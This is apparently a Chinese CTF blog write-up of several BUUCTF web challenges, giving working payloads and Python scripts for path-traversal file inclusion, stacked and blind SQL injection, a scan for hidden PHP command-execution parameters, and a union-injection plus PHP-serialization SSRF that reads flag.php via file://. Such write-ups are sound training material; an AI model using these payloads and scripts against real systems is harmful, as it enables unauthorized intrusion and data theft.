BUUCTF刷题记录(Web方面)
WarmUp
首先查看源码,发现有source.php,跟进看看,发现了一堆代码
这个原本是phpmyadmin任意文件包含漏洞,这里面只不过是换汤不换药。
有兴趣的可以看一下之前我做的分析,https://blog.csdn.net/Mikasa_/article/details/88594749 ,分析的有点差劲,不喜勿喷哈
当然这里面还有一个hint.php,进去发现了提示:flag not here, and flag in ffffllllaaaagggg
。。。。。。。。
事实上,确实在根目录下的ffffllllaaaagggg里面。
payload: http://web5.buuoj.cn/?file=hint.php%253F/../../../../ffffllllaaaagggg
随便注
这道题是强网杯的原题,当时没有思路,现在回想起来,还是怪自己思路不够扩展,对Mysql的一些结构不够熟悉。。
首先这道题仅仅是过滤了一些基本关键词
但是对堆叠注入没有任何的检查,并且他这里面是将Mysql查询返回的结果以数组的形式返回,也就是说没有限制回显的多少。
我们先用 show tables; 和 desc xxx; 收集表名以及表的结构
看表的结构:
可以看到flag在1919810931114514表中。
之后原本想用存储过程绕过,发现。。。。
不过使用strstr和获取的,我们可以大小写绕过
payload:http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
关于储存过程可以看看这里:
当然最有意思的是这一道题还可以修改表的结构来达到获取flag,有兴趣的可以看看 https://www.xmsec.cc/qwbctf-2019/
高明的黑客
也是强网杯的原题。
首先根据题意,我们输入web15.buuoj.cn/www.tar.gz来下载文件。
看到有很多的php文件,并且好像有很多可以执行命令的,其实不然。。大多数都不行,这个时候就需要我们写脚本区匹配了,因此将压缩包放到本地,然后利用脚本不断的跑。
放一下以前写的脚本
# -*- coding:utf-8 -*- import requests import re import os import sys import time path="./src/" for dir in os.listdir(path): f=open(path+dir) content=f.read() f.close() rc=re.compile(r'(\$_GET\[\')(.*)(\'\])') Mikasa=rc.findall(content) for test in Mikasa : var=test[1] url="http://192.168.234.128:2222/"+dir+"?"+var+"=echo 'Sdlawsl';" UI=requests.get(url) if "Sdlawsl" in UI.text: print(UI.text) print(dir) print(test[1]) exit()
这里就可以匹配出可以执行命令的文件,之所以用的是echo,是因为不论对eval等PHP命令执行函数,还是System系统命令函数来说支持都很好,下面是匹配出来的结果
可见在xk0SzyKwfzw.php中的Efa5BVG存在命令执行,cat /flag,获得flag
CISCN2019-HackWorld
emmmm,这道题确实找到注入点了,但是不知道为什么写的脚本不行了。哎,还是太菜了
首先是这个界面
emmm,既然已经告诉了我们,flag在flag表中的flag字段,那么也就不需要从一开始就爆破表名了(emmmm,其实他把这个关键词information过滤掉了,我们也不能从这里面下手了)
首先提交 1 and 1=1(查看有无waf),发现确实是有的
这一下我们就要用我们小字典探测一下子,这里面我们使用burp将我们想要尝试的关键词放进里面看看
可以很清楚的看到557长度的都是被过滤的关键字
过滤的关键字有:
admin
https://www.anquanke.com/post/id/164086#h2-0
写的真的是很好,可惜我对python web方面还是不太熟悉
Hack World(完善上方的题解)
已经告诉了我们表名与字段名,于是我们只需要构造payload即可(过滤了空格,可以用tab绕过)
脚本
#-*- coding: utf-8 -*- import requests import re import os flag="" url="http://ac3441f5-53f8-4456-9494-f7192558069c.node3.buuoj.cn/index.php" for test in range(1,100) : low=0 high=128 while low<=high : mid=(low+high)//2 data={"id":"(ascii(substr((select flag from flag),{},1))>{})".format(str(test),str(mid))} Mikasa=requests.post(url,data=data) if "Hello, glzjin wants a girlfriend." in Mikasa.text : low=mid+1 else : high=mid-1 if int(low+high+1)//2==0: print("QAQ") flag+=chr(int(low+high+1)//2) print(flag)
这道题目的话还是很简单的,但是最后就是没有想到覆盖这一点。
是首先这里面存在两个sql注入,一个是在
view-source:ed6219ca-852f-4791-bbc4-7bda16c6798a.node3.buuoj.cn/view.php?no=1(union注入,没有任何的waf)
还有一处是在注册处用户姓名处(盲注)
盲注脚本
#-*- coding: utf-8 -*- import requests import re import os #ascii(substr(database(),1,1))>0 #ascii(substr((select concat(0x7e,group_concat(table_name),0x7e) from information_schema.tables where table_schema=database()),1,1))>0 flag="" url="http://ca9e4ff7-37d6-4673-9ac2-c6bc6c00fc3b.node3.buuoj.cn/join.ok.php" for test in range(1,100) : low=0 high=128 while low<=high : mid=(low+high)//2 data={"username":"fasfs'or(ascii(substr((select group_concat(CURRENT_CONNECTIONS,0x7e,TOTAL_CONNECTIONS) from users),{},1))>{})#".format(str(test),str(mid)),"passwd":"qaq","age":"123","blog":"http://www.baidu.com"} Mikasa=requests.post(url,data=data) if "Username already exists." in Mikasa.text : low=mid+1 else : high=mid-1 if int(low+high+1)//2==0: print("QAQ") flag+=chr(int(low+high+1)//2) print(flag)
报错出来数据感觉也没有啥用处,不过意外的发现在data字段出存在反序列化的字符串。。
之后经过目录扫描发现了robots.txt和flag.php
robots.txt发现了有user.php.bak
以下是源码
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。
但是!!!那个联和注入此时就可以用的到了,因此我们就可以,构造联和注入的payload来进行数据的覆盖。。
payload
view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
利用file协议直接读取flag
查看源码就可以看到base64加密的源码